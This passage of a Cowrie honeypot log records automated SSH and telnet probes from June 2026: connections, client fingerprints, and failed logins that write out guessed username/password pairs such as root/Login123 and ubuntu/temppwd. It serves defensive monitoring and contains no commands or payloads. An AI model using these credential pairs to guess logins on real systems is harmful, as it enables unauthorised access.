-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:35:24.315226Z","src_ip":"193.37.70.224","session":"2ed4f5550079","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:35:24.594260Z","src_ip":"193.37.70.224","session":"2ed4f5550079","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:35:25.689528Z","src_ip":"193.37.70.224","session":"2ed4f5550079","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":27713,"dst_ip":"159.203.135.109","dst_port":22,"session":"63cac55f6f2b","protocol":"ssh","message":"New connection: 178.20.210.208:27713 (159.203.135.109:22) [session: 63cac55f6f2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:35:34.350030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:35:34.406703Z","src_ip":"178.20.210.208","session":"63cac55f6f2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:35:34.527178Z","src_ip":"178.20.210.208","session":"63cac55f6f2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"temppwd","message":"login attempt [ubuntu/temppwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:35:35.014813Z","src_ip":"178.20.210.208","session":"63cac55f6f2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:35:36.116259Z","src_ip":"178.20.210.208","session":"63cac55f6f2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.121.214.50","src_port":53724,"dst_ip":"10.17.0.5","dst_port":22,"session":"dad33bc83da3","protocol":"ssh","message":"New connection: 117.121.214.50:53724 (10.17.0.5:22) [session: dad33bc83da3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:35:50.940231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:35:50.945973Z","src_ip":"117.121.214.50","session":"dad33bc83da3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:35:51.189142Z","src_ip":"117.121.214.50","session":"dad33bc83da3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":59374,"dst_ip":"159.203.135.109","dst_port":22,"session":"4066eb9edf99","protocol":"ssh","message":"New connection: 27.71.230.31:59374 (159.203.135.109:22) [session: 4066eb9edf99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:35:52.148577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:35:52.168840Z","src_ip":"27.71.230.31","session":"4066eb9edf99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cyber","password":"cyber","message":"login attempt [cyber/cyber] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:35:52.195709Z","src_ip":"117.121.214.50","session":"dad33bc83da3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:35:52.471826Z","src_ip":"27.71.230.31","session":"4066eb9edf99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:35:53.440811Z","src_ip":"117.121.214.50","session":"dad33bc83da3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Login123","message":"login attempt [root/Login123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:35:58.872407Z","src_ip":"27.71.230.31","session":"4066eb9edf99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:36:00.177756Z","src_ip":"27.71.230.31","session":"4066eb9edf99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":36098,"dst_ip":"159.203.135.109","dst_port":23,"session":"da127b41bc57","protocol":"telnet","message":"New connection: 172.81.62.90:36098 (159.203.135.109:23) [session: da127b41bc57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:36:36.254951Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":60858,"dst_ip":"159.203.135.109","dst_port":23,"session":"b36dcad2f010","protocol":"telnet","message":"New connection: 172.81.62.90:60858 (159.203.135.109:23) [session: b36dcad2f010]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:36:37.277175Z"}
{"eventid":"cowrie.session.connect","src_ip":"112.216.108.62","src_port":43864,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec55ef5aa9e7","protocol":"ssh","message":"New connection: 112.216.108.62:43864 (159.203.135.109:22) [session: ec55ef5aa9e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:37:03.555739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:37:03.559098Z","src_ip":"112.216.108.62","session":"ec55ef5aa9e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:37:03.772203Z","src_ip":"112.216.108.62","session":"ec55ef5aa9e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gmodserver","password":"gmodserver","message":"login attempt [gmodserver/gmodserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:37:04.640828Z","src_ip":"112.216.108.62","session":"ec55ef5aa9e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":52926,"dst_ip":"159.203.135.109","dst_port":23,"session":"9de8ff9a78a2","protocol":"telnet","message":"New connection: 172.81.62.90:52926 (159.203.135.109:23) [session: 9de8ff9a78a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:37:05.173428Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:37:05.851049Z","src_ip":"112.216.108.62","session":"ec55ef5aa9e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":35934,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e646fe719a6","protocol":"ssh","message":"New connection: 103.149.28.157:35934 (10.17.0.5:22) [session: 5e646fe719a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:37:06.525130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:37:06.529572Z","src_ip":"103.149.28.157","session":"5e646fe719a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:37:06.778355Z","src_ip":"103.149.28.157","session":"5e646fe719a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"120183","message":"login attempt [root/120183] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:37:07.529366Z","src_ip":"103.149.28.157","session":"5e646fe719a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:37:08.781554Z","src_ip":"103.149.28.157","session":"5e646fe719a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.172821283340454,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:37:11.449897Z","src_ip":"172.81.62.90","session":"b36dcad2f010","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.093621015548706,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:37:16.348457Z","src_ip":"172.81.62.90","session":"da127b41bc57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":35154,"dst_ip":"159.203.135.109","dst_port":23,"session":"570a3dfb023f","protocol":"telnet","message":"New connection: 128.199.8.54:35154 (159.203.135.109:23) [session: 570a3dfb023f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:37:35.771944Z"}
{"eventid":"cowrie.session.closed","duration":0.005342006683349609,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:37:35.777124Z","src_ip":"128.199.8.54","session":"570a3dfb023f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.727394342422485,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:37:45.900624Z","src_ip":"172.81.62.90","session":"9de8ff9a78a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":43676,"dst_ip":"159.203.135.109","dst_port":23,"session":"430bb7e0cf2a","protocol":"telnet","message":"New connection: 128.199.8.54:43676 (159.203.135.109:23) [session: 430bb7e0cf2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:38:09.069316Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.121.214.50","src_port":49010,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d9c8546f076","protocol":"ssh","message":"New connection: 117.121.214.50:49010 (10.17.0.5:22) [session: 0d9c8546f076]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:38:13.126059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:38:13.130228Z","src_ip":"117.121.214.50","session":"0d9c8546f076","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:38:13.371114Z","src_ip":"117.121.214.50","session":"0d9c8546f076","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"0","message":"login attempt [ubuntu/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:38:14.377517Z","src_ip":"117.121.214.50","session":"0d9c8546f076","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:38:15.620782Z","src_ip":"117.121.214.50","session":"0d9c8546f076","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":39358,"dst_ip":"159.203.135.109","dst_port":22,"session":"f0c63bd27f1f","protocol":"ssh","message":"New connection: 103.82.20.28:39358 (159.203.135.109:22) [session: f0c63bd27f1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:38:23.198209Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:38:23.205443Z","src_ip":"103.82.20.28","session":"f0c63bd27f1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:38:23.484257Z","src_ip":"103.82.20.28","session":"f0c63bd27f1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123q456","message":"login attempt [root/123q456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:38:24.322500Z","src_ip":"103.82.20.28","session":"f0c63bd27f1f","protocol":"ssh"}
